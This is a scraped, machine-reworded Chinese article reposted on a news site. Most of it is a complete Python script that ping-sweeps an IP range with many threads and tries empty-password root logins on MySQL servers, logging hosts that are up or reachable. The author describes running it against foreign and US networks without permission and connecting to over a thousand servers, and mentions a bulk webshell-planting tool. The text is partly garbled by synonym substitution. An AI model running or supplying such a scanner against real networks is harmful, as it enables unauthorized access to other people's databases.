加入收藏 | 设为首页 | 会员中心 | 我要投稿 河北网 (https://www.hebeiwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 业界 > 正文

高效python剧本,6小时获取上千台MySQL数据库处事器(上)

发布时间:2019-01-18 08:12:32 所属栏目:业界 来源:合天智汇
导读:01媒介 一开始,我只是想把一个AWD下的批量写马器材进级改革一下,记录一下时代的心得领会,本觉得此刻mysql弱口令毗连的裂痕很少。但当最后器材完成后,一测试扫描外国网段,半天时刻竟然就乐成毗连了上千台数据库处事器。 02因由 这个剧本最开始的构想是

以下是此次的完备代码-4:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4. importMySQLdb 
  5. importthreading 
  6. importtime 
  7. importIPy 
  8. importsubprocess 
  9.  
  10. defmysql_connect1(ip): 
  11.  
  12. ifnot(ping_ip(ip)): 
  13. #printip,"down" 
  14. return 
  15. else: 
  16. #记录在线的ip 
  17. ip_log("ip_up.txt",ip,"") 
  18.  
  19. #实行数据库毗连 
  20. try: 
  21. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  22. cur=conn.cursor() 
  23.  
  24. #记录开放3306端口的ip 
  25. ip_log("port_connected.txt",ip,"") 
  26.  
  27. exceptMySQLdb.Error,e: 
  28. e= str(e) 
  29. #记录报错信息 
  30. printe 
  31.  
  32. r1= e.find('Can't connect') #端口未开放Mysql_Error:2003: Can't connect to MySQL server on '35.164.6.48' (10060) 
  33. r2= e.find('Access denied')  # 端口开放但暗码错误 Mysql_Error:1045: Access denied for user 'root'@'localhost' (using password: YES) 
  34. r3= e.find('not allowed') #端口只应承特定ip毗连 Mysql_Error:1130: Host '172.17.14.2' is not allowed to connect to this MySQLserver 
  35. #r3= e.find('Learn SQL!') #这限定特定了sql语句 
  36.  
  37. if(r1 != -1): 
  38. #解除端口不开放的环境 
  39. return 
  40.  
  41. elif(r2!= -1): 
  42. #ip_log('port_opend.txt',ip,"暗码错误") 
  43. ip_log('port_opend.txt',ip,e) 
  44.  
  45. elif(r3!= -1): 
  46. #ip_log('port_opend.txt',ip , "不应承该IP毗连") 
  47. ip_log('port_opend.txt',ip , e) 
  48. else: 
  49. #ip_log('port_opend.txt',ip, "其他错误") 
  50. ip_log('port_opend.txt',ip, e) 
  51.  
  52. return 
  53.  
  54. defping_ip(ip): 
  55. #挪用ping呼吁,假如不通,则会返回100%丢包的信息。通过匹配是否有100%要害字,判定主机是否存活 
  56.  
  57. cmd= 'ping -w 1 %s' % ip 
  58. p= subprocess.Popen(cmd, 
  59. stdin=subprocess.PIPE, 
  60. stdout=subprocess.PIPE, 
  61. stderr=subprocess.PIPE, 
  62. shell=True) 
  63.  
  64. result= p.stdout.read() 
  65. regex= result.find('100%') 
  66.  
  67. #未匹配到就是-1,就是存活主机 
  68. if(regex == -1): 
  69. return1 
  70. else: 
  71. return0 
  72.  
  73. def ip_log(txt_name,ip,content): 
  74. f1= open(txt_name, 'a') 
  75. f1.write(ip+ " " + content + "rn") 
  76. f1.close() 
  77.  
  78. if__name__ == "__main__": 
  79.  
  80. start= time.time() 
  81.  
  82. #配置同时运行的线程数 
  83. threads=150 
  84.  
  85. #要检测的IP网段 
  86. ip1= IPy.IP('192.168.0.0/16') 
  87.  
  88. forip in ip1:     
  89. ip=str(ip) 
  90. printip 
  91.  
  92. while(threading.activeCount()>threads): 
  93. time.sleep(1) 
  94. t1=threading.Thread(target=mysql_connect1,args=(ip,)) 
  95. t1.start() 
  96.  
  97. #当线程只剩1时,声名执行完了 
  98. while(threading.activeCount()!=1): 
  99. time.sleep(5) 
  100. print"检测竣事" 

这里代码已经开始混乱了,临时放着。改完后测试扫描了米国某网段一个小时,发明此刻竟然尚有空暗码毗连的洞,也许是网段选得好吧,有大量的在线处事器。

(编辑:河北网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读